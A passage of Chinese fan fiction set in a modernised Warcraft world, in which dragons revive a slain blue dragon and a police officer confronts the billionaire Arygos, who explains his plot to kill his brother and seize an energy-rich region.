“你在说笑吗?只怕他们现在巴不得这小子死掉吧?——话说回来,要不是我给萨菲隆通风报信,让他去花园公墓找你们兄弟俩,这小子早就没命了,既然人是我救的,要怎么处置当然是我说了算。受了黑龙的恩惠不付出代价,哪有那么好的事?若是没有好处,我干嘛要救麦洛尼家的人?”奥妮克希亚一脸理所当然。 “要是这小鬼死了,你也没法压榨他的价值了。”卡卡撇了撇嘴,“而且如果真是那样,你怎么跟他叔叔交代?” “……”奥妮克希亚一愣,随即冷哼一声,“那个傻瓜,他什么都不知道,我又不欠他,干嘛要跟他交代。” “是吗?我看你和他之间,估计还有帐没算吧?对于背叛自己的女人,脾气再好的男人也会生气的吧?” “你——”奥妮克希亚恶狠狠地盯着一脸幸灾乐祸的红龙。 “即使没有那层劲爆八卦的血缘关系,他也很宠小奥比,在花园公墓为了迫使我们救人,他甚至会主动对安多出手——别忘了,公主殿下,他或许是您逢场作戏的快餐情人,小奥比却永远是他的侄儿。”卡卡看着她,“把这小鬼从他身边带走的人是你,如果小奥比真在你手上有个三长两短,我真的很怀疑面对盛怒之下的萨菲隆,你的美人计还能派上什么用场。” “……”奥妮克希亚不怒反笑,“敢这么对我说话的,除了奈法利安,你是头一个。” “这话我就当是赞誉先收下了。”卡卡说,“那么,现在可以行个方便么?” “随你们的便吧。”奥妮克希亚有些不耐,甩开光头巨人的手,走到一边。 卡卡冲着她的背影打了个哈哈,来到阿坎纳苟斯身边,弯腰把怀里的小奥比递给他。 蓝龙一脸惊愕,不明所以。 “你,你,还有你。”卡卡说,“别光顾着垂头丧气了,你们的小少爷奥术污染已经发作了,还不赶紧来帮忙?” 见那三条蓝龙面面相觑,满脸顾忌,迟迟没有动作,卡卡摇了摇头,也不多说,起身径直走到埃雷苟斯的尸体边,不由分说地将自己的手掌放到老人血迹斑斑的胸膛上。 “你要干什么?!” 卡卡没回话,他的身上突然迸出夺目的红光,将他身边的蓝龙撞了个趔趄,紧接着一个雄浑威武的声音喝道: 都站在一边看!敢动我兄弟的,先想清楚了! 卡卡发动红龙之力,鲜红色的光翼展开,蓝龙的血中长出了茂密的冰盖草。 “安多,帮我一把,老头子年纪太大,诺森德好像不肯轻易放人呢。” 安多洛夫嘟哝了一句什么,卡卡听了半边眉毛一扬: “先把他弄活,盘问完了再把他弄死不就得了,红龙审判团不会知道的。” 也只有卡卡才说得出这种话了,若现在控制身体的是安多,大概只有被他的弟弟气得口吐白沫的份。 “好啦,快来帮忙,这老爷子很有用的,听话。” 光头巨人的背上展开了另一对光翼,同时一束淡金色的光透过云层,经过红龙光环的折射后照在了埃雷苟斯的身上,低沉的男声吟唱和空灵的女声圣颂交叠,半透明的羽状星芒升起,就连黑龙公主也被这难得一见的奇景所吸引,目不转睛地凝视那代表着死与新生的红龙之光。 埃雷苟斯突然深吸了口气,睁开了眼睛,他的心脏再次开始跳动,这令三条年轻的蓝龙目瞪口呆。 起死回生的剧痛让老蓝龙禁不住呻吟起来,他认出了面前的光头巨人是谁,想要推开红龙放在自己胸膛上的手。 “别乱动,亲爱的。”卡卡没给老蓝龙挣扎的机会。 “为什么?……为什么还要把我召回这个世界?……为什么还要带给我这种痛苦?”埃雷苟斯嘶哑地问,重获新生的他显然还没有完全恢复神智。 当歌声和光芒完全消失后,光头巨人放开了埃雷苟斯。 “欢迎回到阳世,感觉怎么样?”卡卡歪着头看着老埃雷。 老埃雷望着自己的胸口,被击穿的部分已再生完毕,闭上眼深吸了口气,他重新开启自己的蓝龙之力,竟觉得比之前更有活力。 “奥妮克希亚小姐,安多洛夫将军。”他向黑龙公主和红龙中将颔首致意,“很抱歉,我现在没法向你们鞠躬。” 奥妮克希亚冷笑一声,转过身去不理不睬。 “你还漏掉了一个人。”卡卡朝一旁努了努嘴,老埃雷望去,却见阿坎纳苟斯正抱着昏迷不醒的小奥比,不知所措地站在离自己不远的地方。 见先前被“自己”杀死的埃雷苟斯死而复生,正看着自己,阿坎纳苟斯惶恐地放下小奥比,连连后退:“对不起!……对不起,埃雷先生!我……我不知道这究竟是怎么回事!我发誓我对麦洛尼家族以及蓝龙一族是忠诚的!” “站住。”老埃雷淡淡地说。 年轻的蓝龙嗫嚅着,万分沮丧地捂住了自己的脸。 “你们照顾好奥比小少爷,别再出差错了。” 老埃雷深深地看了一眼阿坎纳苟斯。 “小少爷体内的奥术污染又有扩散的迹象,集合你们三人的蓝龙之力,应该可以暂时压制住一阵子。” “可是埃雷先生,那个人刚刚才对您……把奥比小少爷交给他这实在是太危险了!” “如果他再有什么异常表现,你们知道该怎么办,还有什么问题吗?” “不……不,埃雷先生,没有了。” 老埃雷不再理会自己的随从,转向卡卡和奥妮克希亚。 “他们都太年轻,遇到一点变故就不知所措,让两位见笑了。” “那小鬼身上的奥术污染已经是二次扩散,除了血亲再也没人可以救他。”卡卡说,“我说,老头,有件事我想你应该知道——” “我已经知道了。”老埃雷打断了卡卡的话,“对于您和奥妮克希亚小姐在燃烧大桥上的交谈内容我略有所闻,事实上我正是因此才会约萨菲隆先生在这里见面。” “这倒省事了。”奥妮克希亚劈头问道,“他在哪里?” “我被杀了。”老埃雷摊开手。 她点了点头,一把捏住他的喉咙,蓝龙们正小心翼翼地守护着小奥比,不料这边又突生变故,全都跳了起来,气急败坏地瞪着她。 “你们大概知道萨菲隆去哪里了吧?快点告诉我,不然麦洛尼家族的老主管又得多死一次了。” “老天呀,你非要这么暴力吗?”卡卡叫道。 “我杀他一次,你救活他一次,直到从他们嘴里套出情报来——我只是把你的方案稍微变更了一下而已。”奥妮克希亚说。 卡卡显然不赞同她的策略,正想说服她冷静下来,这时阿坎纳苟斯说: “他去泰坦尼亚了。” 卡卡和奥妮克希亚齐盯着他:“你说什么?” “萨菲隆先生,他打开通往‘魔枢’的传送门,去找亚雷苟斯大人了。” 听到这话反应最大的是埃雷苟斯,他不知从哪里来的力气,挣开了奥妮克希亚的挟制,摇摇晃晃地朝自己的属下走去,但他仍然太虚弱,没走两步就双膝一软朝地上栽去,卡卡闪身上前扶住他。 “别激动,老爷子。”卡卡说,“看来事情终于要结束了,你在替灵风的大老板担心吗?唔……我想不管怎么样,那大个子也不会对自己的亲兄弟下杀手的吧。” “不……不是这样的。”埃雷苟斯的嘴唇颤抖着,刚刚重生的他又好似一下子老了几百岁,脸色苍白,看起来实在是糟透了。 他抓住光头巨人的胳膊,嘶声低吼:“快……快阻止他……拦住萨菲隆先生,求求您……我知道您不是安多洛夫将军,虽然您长得跟他一样……可……可是不管您是谁,请一定要阻止他!别让他跟亚雷苟斯交手!……他还不知道自己的身世,但亚雷苟斯不会容忍另一条有麦洛尼家族血脉的龙来威胁自己的地位!……” “他不可能会输。”奥妮克希亚说,“他的蓝龙之力远远胜过麦洛尼家族里的任何一条龙,一旦他进入‘魔枢’,没人能拦得住他。” “不,不!”老埃雷急得大吼,“他赢不了,亚雷苟斯会杀了他!” 12. 第 12 章 泰坦尼亚,蓝龙领地,魔枢奈克萨斯,灵风大厦。 各单位注意,二十分钟前有计划外超空间传送门连接进入“魔枢”,对方使用的是麦洛尼家族护卫队成员“夜之魇”的ID识别码,但并未回应身份验证——其目标是灵风能源集团总部大楼。 生物能量特征显示入侵者是一条蓝龙,资料库中没有与之吻合的信息,据现场传来的消息称此人已与灵风大厦的保卫人员发生直接冲突……未携带武器,但蓝龙之力极强,是高度危险人物,请诺甘农大街周边单位立即前往支援。 奥术防护结界覆盖着萨菲隆全身,对方的火力无法伤及他分毫。两个蓝龙保安用了顺劈斩和冰霜吐息,但这对于萨菲隆来说无济于事,他们仰望着这个魁梧得不可思议的蓝色巨人,绝望地闭上眼,等待着自己被撕成碎片。 然而对方并没有把他们大卸八块。 见那巨人走进电梯,冷汗涔涔的蓝龙保安调出自己的通讯界面。 “主控制室?入侵者的目标是圆顶办公室,请立即切断线路,展开防护结界!” 高速上升的电梯内部突然一阵震动,灯光熄灭,亮起紫蓝色的备用电源,紧急刹擎后电梯停了下来。 萨菲隆挥拳击穿天花板,爬到电梯外部,抬头仰望,只见在距离自己头顶数十米处,一堵淡蓝色的奥术防护结界正贯穿着整排电梯井。萨菲隆使用了漂浮术,整个人缓缓升起,来到离结界很近的地方——灵风大厦已经启动了紧急防御系统,张开了一个巨大的球状防护结界将大楼的核心区域笼罩其中,这样即使遇到最坏的情况,灵风大厦的中央处理单元、生命维持系统、核心实验室、主能量塔和圆顶办公室都能够得到万全的保护。 但这个奥术防护结界是在人工蓝龙之力的基础上构建而成的,这对于萨菲隆来说并没有什么用处——似乎奈克萨斯的设计者们并没有将“高位蓝龙”列入防范名单——在一片刺耳的警报声中,萨菲隆撕开防护结界,进入了核心区域。 整个奈克萨斯的设计,与其说是一个超巨型建筑群,不如说更趋近于一艘要塞级的飞船,灵风大厦是它的中央控制塔,维持整个区域运转的能量全都来自核心区域的奥术反应堆——奈克萨斯凝聚了迄今为止最尖端的魔法科技,是蓝龙的智慧结晶。 进入灵风大厦上层区,四周的一切都令萨菲隆感到陌生,到处都是以不同频率闪烁的奥术符文,分不清这究竟是科技、魔法,抑或者仅是符合蓝龙审美的装饰物。 这就是蓝龙的世界吗? 圆顶办公室的整个外壳都是透明的,可以通过调节折射率来控制外景的虚实——此时泰坦尼亚的日落正将整个天际烧成炽烈的金红色,寂静的海倒映晚霞,美得令人心醉。 这是一座不设防的空城。 成千上万的海鸟成群结队地飞翔,被撞碎的夕阳斑斑点点地撒在那张设计简约、泛着冰冷金属光泽的三角形会议桌上。 巨大的会议桌边,数十张空荡荡的座椅面朝不同方向保持着静止。 有两个男人正面对面坐着,专注地凝视着桌上的棋盘。 蓝色棋子代表联盟,红色的代表部落,在8乘8的方形棋盘上厮杀,作为一种古老的智力游戏,卡拉赞象棋在艾泽拉斯流传已久。 那两个男人的身形相貌如出一辙,就像在和镜子里的自己下棋。 “要不要来一局?” 其中一人忽然开口。 “不了,谢谢。”萨菲隆说,“我的棋下得很烂,我的猫都能赢我。” “是吗?——将军。” 对方蹙了蹙眉,推子认输。红色的“酋长”倒在晶莹剔透的棋盘上,发出清脆的声响,与此同时,他整个人突然失去了物理形态,化作无数细小的水滴,与同样被液化的棋盘和棋子一起,围绕着那个男人徐徐旋转,它们折射夕阳,犹如微缩的星环,旖旎迷幻。 这些戏法在萨菲隆看来并不深奥,蓝龙擅长使用替身,水替身是其中一种,另外还有奥术替身、镜替身和影替身,后两种也可统称为光替身——奥术替身性能优良,光替身便于制造和操纵,而水替身因为受环境限制较大,同时稳定性欠佳,一般用得很少,毕竟蓝龙体内蕴藏奥术能量,这个世界绝大多数地方都充斥着可见光,都是拿来即用——蓝龙可以控制水,却不能凭空制造它。 但是,眼前的蓝龙,非但可以做出几可乱真的水替身,还赋予其独立思考的能力和自己对弈,魔法造诣可谓登峰造极。 这也意味着,只要他愿意,这轮薄如蝉翼的水环随时会变成致命武器。 萨菲隆保持着警惕,将注意力从水环上转移到男人身上,仔细地打量起这位灵风能源集团董事长兼首席执行官来。 那是个非常英俊的男人,紫蓝色的头发整齐地朝后梳理,湛蓝色的眼瞳中似乎藏着无尽的奥秘,他的皮肤白皙,嘴唇很薄,脸上的每一根线条都像是经过精确计算后得到的最佳方案。他穿着蓝色衬衣和黑色休闲服,他修长的无名指上戴着一枚婚戒,那颗天蓝宝石的色泽与他的眼瞳完美吻合,不知经过了怎样严苛的原矿筛选和精密切割才得此成品。 世界首富嘛,萨菲隆心想。 但他不得不承认,那个男人近乎虚幻的完美无暇,确实令他有些…… 自惭形秽。 麦洛尼家族的掌门人,举手投足无懈可击,堪称蓝龙的典范,与他这种基因突变、在人类世界混日子的相比,自然有天壤之别。 萨菲隆甚至不必探查这个男人的能量反应,就能感应到他身上的优雅贵族光环,而自己则是那个杀气腾腾地闯入奈克萨斯,企图破坏这谐和美好的坏家伙,当了几百年的警察,非富即贵的大人物他也逮了好几打,可从没像现在这样底气不足。 男人用那双湛蓝色的眼瞳凝视着萨菲隆,他沉默不语,脸上也没有任何表情,然而萨菲隆却感受到了前所未有的压力,这种压力来自四面八方,就好像整个奈克萨斯已经猜到了主人的想法,正试图用某种能量辐射影响他的神经回路和内分泌一样。 冷静点,萨夫,别被他唬住了——他作恶多端,他才是坏人。 想想小奥比,想想老埃雷,想想卡雷苟斯。 想想暴风城里的那些人,这个男人的一个念头就可以影响千万人的命运。 他不是天使。 “终于,萨菲隆·弗洛斯特警官,我们还是见面了。” 男人十指交叠,支着下巴,自我介绍着: “我是亚雷苟斯·麦洛尼。” 他的声音清澈如水,贵族体龙语被诠释得淋漓尽致。 “那是什么意思?”萨菲隆反问。 “我本以为我们不必见面就能把事情妥善解决的。”亚雷苟斯说,“我很好奇,那条黑龙的自爆,为什么没有把你炸死?为什么暴风城会安然无恙?” 萨菲隆还在思索应该怎么跟这位看起来很难搞的蓝龙大慈善家交涉,究竟是单刀直入揭露对方的全部恶行,还是运用他资深警官的审问技巧令其自行交代,不料亚雷苟斯异常合作,直奔主题,倒省了他不少功夫。 “在他自爆前,我打开传送门,把他带进了我的平行空间。”萨菲隆说。 “这么说,你放弃了自己的巢穴,救了半个暴风城?”亚雷苟斯点了点头。 “你是怎么发现小奥比的?”萨菲隆问。 “诺森德的亡者之书上没有他的名字,想必是还活着。”亚雷苟斯答道,“我的人查到奥比的信用卡在暴风城被用过,顺藤摸瓜很容易就找到了——他买了什么?游戏机吗?大概也顺便买了台很夸张的电视机吧?” “……亚雷苟斯先生,你是他的叔叔,你们是亲人。”萨菲隆瞪着那条蓝龙,“你为什么要这么做?你是艾泽拉斯第一富豪,整个星系里估计也找不到几个比你更富有的人,金钱、名望、权势,你全都有了,为什么连自己的家族成员都不放过?他们到底做错了什么事,让你要把他们赶尽杀绝?” 总该有原因的,从来就不会有无缘无故的恨,不是吗? 面对萨菲隆愤怒的质问,亚雷苟斯只是答了一句: “因为他们妨碍了我,所以我得把他们除掉。” 真是个好理由。 说这话的时候,亚雷苟斯的表情是如此的平淡,就好像对“妨碍”了自己的亲人下杀手,就像把沾在鞋子上的灰抹掉一样理所应当。 当萨菲隆回过神来的时候,他才发现自己已经举起左手,把掌心对准了亚雷苟斯。 “你想杀掉我。”亚雷苟斯一脸平静,“因为我让你生气了,因为我在某些事情上妨碍了你——那么,我们有什么不同呢?” “不要为自己狡辩了,亚雷苟斯。”萨菲隆保持着姿势,“如果我跟你一样的话,你现在已经死了。” “萨菲隆警官,我看得出来,你的蓝龙之力在我之上,动用武力的话我不是你的对手。”亚雷苟斯陈述着事实,“我现在还活着,可见你我有所不同——那么,这是否代表你不会杀我呢?” “我——” “你来这里是为了什么?”亚雷苟斯打断了萨菲隆的话,“我知道,你想了解真相,你想知道我为什么要杀他们,你想要逮捕我,让我为自己的所作所为付出代价。” “……既然是这样,不如索性把这来龙去脉说来听听?策划了那么久,一步一步地付诸行动,难道不想找个人分享一下?一个人站在高处孤芳自赏,不觉得无趣吗?”萨菲隆沉声道。 “无趣?嗯……与其说是无趣,倒不如说是有些寂寞呢。”男人垂下眼,轻轻地抚着前额,“外域有个地方叫虚空风暴,你知道吗?” 见萨菲隆点头,亚雷苟斯又说了下去: “许多个世纪以来,那里一直充斥着狂乱的奥术能量,这些能量是如此巨大,连整块大陆都被撕扯得四分五裂,虚空风暴的奥能储备,比整个艾泽拉斯已探明的储量要高出上百倍。毕竟在永恒之井毁灭后,艾泽拉斯世界的魔法容量已大大缩减,我的勘测队只能在一些尚未枯竭的时空缝隙中寻找奥术能量,其中的绝大部分都用以维护魔枢奈克萨斯的运转,真正能投放至消费市场中的,只有很微小的部分,抛开凡人对奥能的猜疑不谈,首先产能不足就是个很严重的问题——所以到目前为止,灵风的利润绝大部分仍然来自传统的水力发电,而至于奥能民用化这一部分,概念很早就提出来了,也有完备的理论技术支持,但受制于种种因素,市场前景不甚明朗,在商业宣传和政府公关上还贴出去不少钱。” “所以你很想得到虚空风暴的能源开采权,然后把生意做大。” “不错,但是——”亚雷苟斯顿了顿,“那个地方,除了奥能之外,还有异常丰富的石油资源。” 萨菲隆恍然大悟。 “普瑞斯托兄妹经营的黑石集团,主要经营煤炭、石油和天然气这些传统燃料能源,艾泽拉斯已探明的常规能源储量大概只够他们再开采不到两百年,所以他们千方百计地想把外域据为己有……” 说到这里,亚雷苟斯唇角微微上扬: “当然,我也是这么干的,而且因为黑龙在历史上的名声不太好,普瑞斯托家族又有□□背景,外域的德拉诺政府和他们打交道时分外谨慎,因此让我捞了些便宜——外域的科技掌握在纳鲁和虚灵手中,但前者超凡脱俗,后者又唯利是图,导致外域凡族的科技都很落后,于是我的灵风能源顺理成章地扮演了文明传播者的角色——如今赞加沼泽的上百座水电站,以及纳格兰草原上六大风力发电站都是灵风的产业,黑龙兄妹费尽周折,才拿下了地狱火半岛,但那里资源贫瘠,环境恶劣,原住民也很排外,所以在外域扩张方面,黑龙是远远落后于蓝龙的。” 萨菲隆暗想若虚空风暴落入普瑞斯托兄妹手中,情况就完全不同了。 “虚空风暴既然有奥能也有石油,为什么不能合作开发呢?” “你觉得黑龙和蓝龙有‘合作’的可能吗?”亚雷苟斯反问,随后又摇了摇头,“当然没有——灵风和黑石同时在跟外域政府谈,但只有一方能中标拿下虚空风暴的开采权,这样另一方只能以‘辅助开发商’的身份进驻,处处受制于人不说,还得朝对家买开采许可证,一张有效期十年的许可证,从德拉诺政府那里买大概要六百亿金币,从对家手里买,翻上几倍都不足为奇,那可真是亏本生意啊。” 原本是来兴师问罪的,却让对方谈起生意经,萨菲隆只得转移话题: “你和黑龙兄妹的纠葛,和你的哥哥卡雷苟斯有什么关系?” 这个问题亚雷苟斯并没有直接回答,而是反问道: “你知道蓝龙的首席执政官吗?” 萨菲隆长期在人类世界隐居,对于自己的族群他并非一无所知,暴风城图书馆里所有关于龙族的典籍都被他仔细翻阅过——五大龙族都有自己的首席执政官,其权力和地位仅次于龙王,任期一千年,最多可连任三届,首席执政官相当于龙王的代理人,可直接对巨龙军团发号施令,同时对于各自领域内的事务拥有次级决断权,只有龙王本人能否决首席执政官的决策,因此首席执政官即相当于龙族首脑。 黑龙王耐萨里奥的殒命为上古时代的巨龙之殇划上句点,从那以后黑龙陷入了无休止的内战,渐渐分裂为无数个大大小小的帮派势力,作为惩罚,黑龙直到现在也没有新的王,自然也无法任命黑龙的首席执政官,十年一次的五人执政官会议,黑龙的席位已空缺了几千年。 “……所以,无论奈法利安多么不情愿,他也得坐下来按照程序跟那些凡人慢慢谈。”亚雷苟斯笑了笑,“但我和他不同,如果我能成为新的蓝龙首席执政官,我可以立即以奥秘守护者的身份‘接管’奥术能量混乱的虚空风暴地区,那样的话就根本不需要磋商或者谈判了,外域政府必须无条件将那里的控制权拱手相让,因为那里本来就是蓝龙管辖内的领域,要在那里做什么,由我说了算。” “但你和你哥哥都是候选人。”萨菲隆冷冷地说,“要拿下虚空风暴,最快捷稳妥的办法就是成为蓝龙首席执政官;要成为蓝龙首席执政官,最‘保险’的办法就是把竞争者除掉,对吗?” “我对‘意外’或是任何‘不确定’的事没有兴趣。”亚雷苟斯说,“我喜欢确保百分之百的成功率,失败是不可接受的,即使是一丝潜在的可能性,都会破坏我想要的完美。” “完美?”萨菲隆一字一句地说,“他是你的兄弟!他是你唯一的亲哥哥!” “那又如何?” “你知道你究竟做了些什么吗?” “我当然知道,我怎会不知道呢?”亚雷苟斯有些费解地看了满面怒容的萨菲隆一眼,“要成为蓝龙的首席执政官,必须得有子嗣,这是蓝龙一族自巨龙之殇后传下来的规矩——卡雷有一个儿子,而我没有;他是蓝龙王玛里苟斯的心腹特使,太阳井战役的英雄,为大家所爱戴,而我不过是一个生意人,他的胜算可要比我高得多。” “……” “其实之前我和他有过一次私人会面。”亚雷苟斯说,“我自知无望胜出,所以希望他将虚空风暴纳入管辖后可以让我的工程师们进驻,但他不假思索地拒绝了我的提议,还把我呵斥了一番,说我想利用他的职权为自己的公司牟利,说我只知道赚钱,从未替蓝龙和家族做过什么贡献,之类的。” 萨菲隆静静地听着。 根据亚雷苟斯的叙述,那次私人会晤无疑是失败的:他说灵风在虚空风暴开发作业可以令那个地区混乱的奥术能量趋于稳定,他说灵风已经有成熟的技术,能迅速改善虚空风暴的生态环境,同时稳定的奥术能源可以令整个外域乃至艾泽拉斯的人受益……但他的哥哥认为这不过他的托辞,任何一个商人的首要动机都是趋利而不是造福于人,他说为了避嫌先期工程可以完全非商业化,让灵风的一切行动都处于蓝龙官方政务操作的背景之下。 但卡雷苟斯坚守底线,毫不让步。 他说他可以给卡雷很多钱,他说他可以替卡雷给小奥比最好的照顾。 卡雷的反应是揪住他的领子,冲着他怒目而视。 离我的儿子远一点,卡雷苟斯这样说。 选日一天天逼近,黑龙兄妹对外域政府连连施压,当上首席执政官的机会渺茫,又无法说服哥哥上任后在政策天平上有所倾斜,一旦卡雷苟斯成为蓝龙首席执政官,非但不会在虚空风暴的问题上给他任何帮助,还极有可能挡他的道—— “那种情况下,除了杀掉他,还有什么更好的解决方法呢?” 亚雷苟斯如是说。 “我给过他机会的,太遗憾了。” 从来只有别人求他,他从没这么低声下气地过,对方还是他的兄弟。 这场与普瑞斯托兄妹的对决,他绝不能输,否则黑石一夜称王,会对灵风极其不利,先前为奥术能量民用化所做的推广和宣传等于前功尽弃,投入的巨额研发资金能否在接下来的十个财年内收回都成问题。灵风与外域政府就开发虚空风暴进行洽谈磋商一事频频登上各大媒体头条,各界均持乐观态度,权威预测机构说只要能解决产能问题,接下来整个世界都将进入“灵风奥能的时代”,要是公众和投资人被架高的期待突然落空,后果不堪设想。 “灵风走到今天,已经不仅仅是我的公司了,这是麦洛尼家族的王牌,是蓝龙一族的支柱。”亚雷苟斯缓缓地说,“八大家族里,麦洛尼是唯一的蓝龙家族,也是最势单力薄的,龙族议会中蓝龙的席位最少。萨菲隆警官,请你以局外人的立场告诉我——本来就因为奥术污染导致繁衍异常艰难,还在巨龙之殇中死得所剩无几的蓝龙,现在依然在龙族内部有话语权,靠的是什么呢?” “……” “是蓝龙王的威望吗?萨菲隆警官,我们的王至今没能从巨龙之殇的打击中恢复过来,黑龙王的背叛伤透了他的心,他独自隐居在某个谁也找不到的平行位面,几千年来不曾过问龙族事务,也没有再关心过他那些幸存的子民,就连在蓝龙内部,都一直有人怀疑他是否还活着,甚至年代一代开始偷偷质疑他是否真的存在,抑或是父辈们用来自欺欺人的臆想——那么,你怎么看呢?” “也许是蓝龙的魔法和科技吧。”萨菲隆答道。 “说得非常好。”亚雷苟斯眼中闪过一丝赞赏,“但那只是表象——无论是学术研究还是科技开发,都需要……” “钱?” “是的,钱。很多很多的钱。”亚雷苟斯耸了耸肩,“蓝龙的魔法师和科学家们之所以能全身心地投入工作,是因为有人在用大把大把的钱养着他们,他们的智慧之所以能改变世界,是因为有企业致力于将他们的研究成果商业化——可以说蓝龙在如此不利的情况下还能在龙族占有一席之地,没有灵风是绝对不可能的。” “所以,拿不下虚空风暴,灵风就会一蹶不振,就不能维持魔法科技的资金投入,蓝龙的地位就会一落千丈?”萨菲隆问。 “完全正确。”亚雷苟斯歪着头看着萨菲隆,“冒昧地问一句,你的智商果真只有107吗?” 萨菲隆没理会对方不冷不热的挪揄:“所以,你所做的一切,都是为了麦洛尼家族和蓝龙咯?” “也可以这么说。” “听上去挺有道理,为什么卡雷苟斯会拒绝呢?” 亚雷苟斯笑了笑:“因为他不喜欢我,他从一开始就反对我创建灵风,他认为蓝龙应该隐秘低调,暗中履行职责守护世界,他觉得像我这样‘公然入世’,会影响——不,用他的话来说应该是会‘干涉凡人的世界’、‘违背了传统法则’、‘破坏世界平衡’……之类的。所以只要是和灵风有关的事,他都不假思索地全盘否定,从来不会抛开表面的意识形态去思考内在的可行性——依我之见,对于一个以融合发展为主旋律的世界来说,这种思维未免太闭塞陈腐了。” 亚雷苟斯旋转座椅,侧过脸,望着海平线上的晚霞。 “时过境迁,凡人今非昔比,而我们也得随之改变,不是吗?”他像是在自言自语,“卡雷对蓝龙王很忠诚,也一直在为蓝龙的荣耀和尊严而战,但可悲的是,他看不清形势,多少年来一直被自己昔日的荣光拖累。蓝龙的保守派无法接受自己的族群已不比当年、与其他龙族的差距越来越大、在泰坦尼亚重大事务的决策上正日益边缘化的事实,而卡雷与这些人不谋而合,所以他当上首席执政官,不过是高层权力集团的胜利,对蓝龙整个族群没有任何好处——他们根本不明白自己在龙族峰会上的话语权是靠什么争取来的。” 亚雷苟斯唇角掀起一抹讥讽: “很可笑,不是吗?这群脱离时代的老古董一面挥霍灵风带给他们的好处,一面轻蔑刻薄地挑剔我的企业,而我每年还不得不花大笔金钱把他们伺候周道。” 萨菲隆从来不知道这样的事,暴风城图书馆里的文献资料,记载的仅是龙族的历史。如今古老的龙族正在用全新的方式影响凡人的世界,无论是广度还是深度都远超以往任何一个时代,只是这一切都处于极为严密的保护之下——龙从未离开,恰恰相反,他们无处不在。 这就是未来的方向吗?能洞悉这一切的,就能像亚雷苟斯和普瑞斯托兄妹那样,从世界的顶端俯视众生,像神明一样制定游戏规则,反之就是历史车轮的阻碍者,像卡雷苟斯一样落得被自己的兄弟暗算的下场? “我该放他一条生路吗?”亚雷苟斯喃喃自语,“我错了吗?” “……” “卡雷和他的儿子之间的关系一直很僵,太阳井战役结束后,他们父子就几乎没再面对面地单独相处过。” 萨菲隆屏住呼吸,亚雷苟斯接下来的话将会是真正的重点,奇怪的是,亚雷苟斯似乎毫无警觉,全不在意把自己的所作所为向萨菲隆坦白,他的描述平和而舒缓,表情淡然,气息沉稳,完全不像是在编纂谎言。 “奥比一直因为他母亲的事怨恨卡雷,而卡雷从来不曾为自己辩解过,任凭他们父子的关系坠入冰点也无意改善——奥比一直由麦洛尼家的主管埃雷苟斯及其下属照料,这个孩子很聪明,算得上是蓝龙的天才,但也很骄横自负,当然无法忍受被自己的父亲这般冷落。起初他和其他类似处境的同龄人一样伤心失落,总是一个人躲在角落里偷偷哭泣,不过当他明白无论自己怎么努力,事情也不会有什么改观后,他很快就对自己的父亲展开了报复。” “于是父亲抛弃了儿子,儿子也抛弃了父亲,一个成天四处奔忙处理政务从不回家,一个成天逃课窝在房间里玩电动,最初的一两个世纪里,每年还偶尔通上几十秒电话,后来索性不再直接联系,有什么事都通 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和卡雷通过话后,小奥比的情绪非常低落,吵闹了一番后要司机载他出门散心。 “我知道是时候了。” 亚雷苟斯微微一笑。 司机是他一早就安排在麦洛尼主宅里的,像这样的眼线还有很多。 他策划了一次低调而完美的绑架,神不知鬼不觉地把小奥比带离泰坦尼亚,送到暴风城,关进了南区乌瑟尔广场附近的一间废弃的地下室里。 “当他知道自己的儿子失踪时,顿时成了一头愤怒的狮子,说实话,我还从来不知道向来举止得体、无时无刻不顾及自己公众形象的卡雷,居然还有这样的一面。” “后来呢?”萨菲隆问。 卡雷苟斯动用了一切手段寻找小奥比,结果无疑是徒劳的。 他甚至拉下脸面,去求刚刚才跟自己谈崩了的弟弟,希望他能动用灵风在艾泽拉斯和外域的情报网络,协助搜寻小奥比的下落,而家族紧急事件当前,亚雷苟斯也没有计较先前的纠葛,答应帮忙。 “五小时后,我拿着一份早就做好的机密报告,告诉他在暴风城发现了可疑的奥术波动,可能跟蓝龙之力有关。” 亚雷苟斯眼中闪过一丝怜悯,“他二话不说,打开传送门就去了暴风城。” 紊乱的心绪严重地干扰了卡雷苟斯的判断,他以为小奥比是和他争吵后愤而离家出走,他甚至没留意弟弟眼中的阴霾,他一心惦记着儿子的安危,根本不知道在暴风城等待着他的是什么。 到了暴风城,又断了线索,在巨大而陌生的人类城市中,望着身边来来往往的人群,他心急如焚,一筹莫展。 他的突如其来引起了某人的注意,不是警察,也不是情报局的特工,当然更不是电影公司的星探,而是另一条龙——对于闯入自己领地的同类,雄性龙的感觉是相当敏锐的。 “伊森德雷。”萨菲隆说出了那条绿龙的名字。 “按照事先约定好的剧本,尽管伊森德雷对卡雷的出现感到不悦,但绿龙毕竟天性温和,所以没有发生暴力争斗,只是用了一些幻术以示警告。”亚雷苟斯说,“得知对方是一条绿龙,他如同捞到救命稻草,当即恳求对方让他进入翡翠梦境,通过灵魂连接来搜索奥比的下落——接下来的事,你应该都知道了。” “特雷姆斯——那条黑龙,他扮演的是什么角色?” “他没有扮演什么角色。”亚雷苟斯摊开手,“我听说他是伊森德雷的朋友,或者说,他们之间是某种合作关系,一起犯案,一块分赃,一单一结算,账面清晰。” “那伊森德雷和被精神污染后的卡雷苟斯一起去劫他的囚车,又是怎么回事?” “我猜想伊森德雷策划了那次行动,毕竟特雷姆斯知道他很多事,要是把他供出来换取减刑,让他也遭到凡人和龙族的双重通缉,会给他带来很多麻烦。伊森德雷从不暴露自己,更喜欢伺机而动,他善用毒药,控制梦境和能力更是让他能杀人无痕。”谈到伊森德雷,亚雷苟斯眼中颇有赞赏之色,“我喜欢他,下手干净利索,毫无慈悲之心,死亡在他手中成了优雅的艺术——真是可惜,惹上红龙中将,连灰都没有剩下。” 他顿了顿,又道: “我原本的计划并不是杀掉卡雷,而是把他变成傀儡,就像我派去袭击普瑞斯托小姐和你的那些黑龙一样。这样一来他仍可当上蓝龙的首席执政官,但会按照我的意思发号施令,出了事由他来挡,我只需在幕后操纵即可。” “结果没想到伊森德雷把他‘借去’劫囚车了?”萨菲隆冷哼一声,“那绿龙知道押车的是安多将军,正面交手占不了便宜,就算要用精神污染偷袭也得有人替自己吸引火力,所以卡雷苟斯就成了现成的炮灰?” “相信我,卡雷被红龙中将杀了,我也很吃惊,这确实不在我的计算之内。” “所以你一不做二不休,干脆斩草除根,把那孩子也一并杀掉?” “不,不。”亚雷苟斯笑着摆手,“事情并不是你想的那样——卡雷死后,一开始我的确打算收养奥比,他父母双亡,于情于理我这个叔叔都该照顾他,再说就算没有竞争者,要当首席执政官,还是得有子嗣才行。” “如果唯一的竞选者没有子嗣,不能满足条件,那会怎样?” 